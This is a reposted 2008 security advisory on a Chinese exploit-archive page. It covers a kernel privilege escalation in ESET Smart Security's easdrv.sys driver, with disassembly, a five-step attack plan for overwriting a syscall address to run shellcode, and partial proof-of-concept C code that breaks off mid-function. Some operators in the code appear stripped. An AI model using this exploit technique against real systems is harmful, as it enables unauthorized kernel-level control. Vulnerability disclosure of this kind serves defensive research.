• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > ESET Smart Security 3.0.667.0 Privilege Escalation PoC

ESET Smart Security 3.0.667.0 Privilege Escalation PoC

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了ESET Smart Security 3.0.667.0 Privilege Escalation PoC ,其中包含privilege escalation,eset,eset nod32最新激活码,eset nod32,eset官网等知识点,遇到此问题的同学们可以参考下
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - Orange Bat advisory -

Name : ESET Smart Security 3.0.667.0
Class : Privilage escalation
Published : 2008-08-14
Credit : g_ (g_ # orange-bat # com)

- - Details -

File: easdrv.sys

.text:00012B92 loc_12B92:
.text:00012B92 push [ebp InputBuf]
.text:00012B95 call ds:off_1A200[eax]
.text:00012B9B mov ecx, [ebp OutputBuffer]
.text:00012B9E mov [ecx], eax

Although this piece of code is wrapped with exception handler,
input and output pointers are not checked with ProbeForRead/Write.
This will cause BSOD when input/output will point to kernel mode
memory (above 0x80000000).

This code can be reached by sending IoControlCode = 0x222003 to
device \\.\\easdrv (see POC). In order to exploit this, we need
to take a look at

.text:00012B95 call ds:off_1A200[eax]

off_1A200 is:

.rdata:0001A200 off_1A200 dd offset HookNtClose
.rdata:0001A204 dd offset sub_12838
.rdata:0001A208 dd offset sub_12874
.rdata:0001A20C dd offset sub_128A8
.rdata:0001A210 dd offset sub_128E4
.rdata:0001A214 dd offset sub_1290A
.rdata:0001A218 dd offset sub_1292C
.
.
.

These are wrappers for hooked syscalls. First one is NtClose, so
there aren't many possible values that this API returns in eax.
We will use:

C0000008 STATUS_INVALID_HANDLE An invalid HANDLE was specified.

Because it's the simplest status to get.

Attack scenario:

1. Get address of some rarely used syscall, like NtShutdownSystem.
I will refer to this address as X :p
2. Send signal to easdrv, with output buffer = X-1. This will result
in overwriting two highest bytes with zeros and will damage 1 byte
at X-1 :p.
3. Send signal with output buffer = X 2. This will set two lower bytes
to 0x0800.
4. Allocate memory at 0x80000 and copy shellcode there
5. Call NtShutdownSystem to jump to shellcode in r0 mode.

See POC for details. There is no cleanup, you will get BSOD at address
0x80000 :).

It's possible to get required addresses by downloading symbols for
given kernel build or use technique presented in [1]. In POC code this
address is hardcoded.

- - Proof of concept -

http://www.orange-bat.com/adv/2008/poc.08.14.eset.rar

Compile with mingw:

gcc -o poc.exe poc.c -lntdll


- - References -

[1] - Exploiting Windows Device Drivers, Piotr Bania
http://www.piotrbania.com/all/articles/ewdd.pdf

- - PGP -

All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc

- - Disclaimer -

This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.


(c) 2008 www.orange-bat.com


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)

iEYEARECAAYFAkimwoMACgkQIUHRVUfOLgXj5ACeNkg3GNU//dJRBZFvo/PpRr1C
EZYAoJXU4zaonv7a4pOQi7qoINDaE7vV
=7B2G
-----END PGP SIGNATURE-----

//
// ESET SmartSecurity priv. escalation
//
// visit www.orange-bat.com for full advisory
//
// g_
// g_ # orange-bat # com

#include <windows.h>
#include <stdio.h>
#include <ddk/ntifs.h>


void TextError(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code

LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

// Display the error message and exit the process

lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf) lstrlen((LPCTSTR)lpszFunction) 40)*sizeof(TCHAR));
sprintf((LPTSTR)lpDisplayBuf,
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
//MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);

printf(lpDisplayBuf);

LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}


BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer, DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen )
{
HANDLE hDevice; // handle to the drive to be examined
BOOL bResult; // results flag
DWORD junk; // discard results
IO_STATUS_BLOCK IoStatusBlock;

hDevice = CreateFile(DeviceName,
0, // no access to the drive
FILE_SHARE_READ | // share mode
FILE_SHARE_WRITE,
NULL, // default security attributes
OPEN_EXISTING, // disposition
0, // file attributes
NULL); // do not copy file attributes

if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive
{
TextError("CreateFile");
return (FALSE);
}


bResult = DeviceIoControl(hDevice, // device to be queried
Ioctl,
(PVOID)InputBuffer,
InputLen,
(PVOID)OutputBuffer,
OutputLen, // output buffer
&junk, // # bytes returned
(LPOVERLAPPED)NULL); // synchronous I/O


if(!bResult){
TextError("DeviceIoControl");
}

CloseHandle(hDevice);

return TRUE;
}

int AllocMem(DWORD lpBase){

PVOID lpvResult;

lpvResult = VirtualAlloc(
(LPVOID) lpBase, // Next page to commit
0x1337, // Page size, in bytes
MEM_COMMIT, // Allocate a committed page
PAGE_EXECUTE_READWRITE); // Read/write access
if (lpvResult == NULL ){
TextError("VirtualAlloc");
return 0;
}
else {
printf("VirtualAlloc success\n");
}

return 1;
}

int main(int ar

您可能想查找下面的文章:

  • ESET Smart Security 3.0.667.0 Privilege Escalation PoC

相关文章

  • Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln
  • MS Windows (.doc File) Malformed Pointers Denial of Service Exploit
  • eNdonesia 8.4 (Calendar Module) Remote SQL Injection Exploit
  • WFTPD Pro Server
  • WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit
  • DreamNews Manager (id) Remote SQL Injection Vulnerability
  • PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
  • ITechBids 7.0 Gold (XSS/SQL) Multiple Remote Vulnerabilities
  • gapicms 9.0.2 (dirDepth) Remote File Inclusion Vulnerability
  • PPMate PPMedia Class ActiveX Control Buffer Overflow PoC

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Safari Quicktime
    • Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit
    • File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
    • HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit
    • fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
    • iGaming CMS
    • tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities
    • Facebook Newsroom CMS 0.5.0 Beta 1 Remote File Inclusion Vulnerability
    • BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability
    • Mercury Mail 4.0.1 (LOGIN) Remote IMAP Stack Buffer Overflow Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有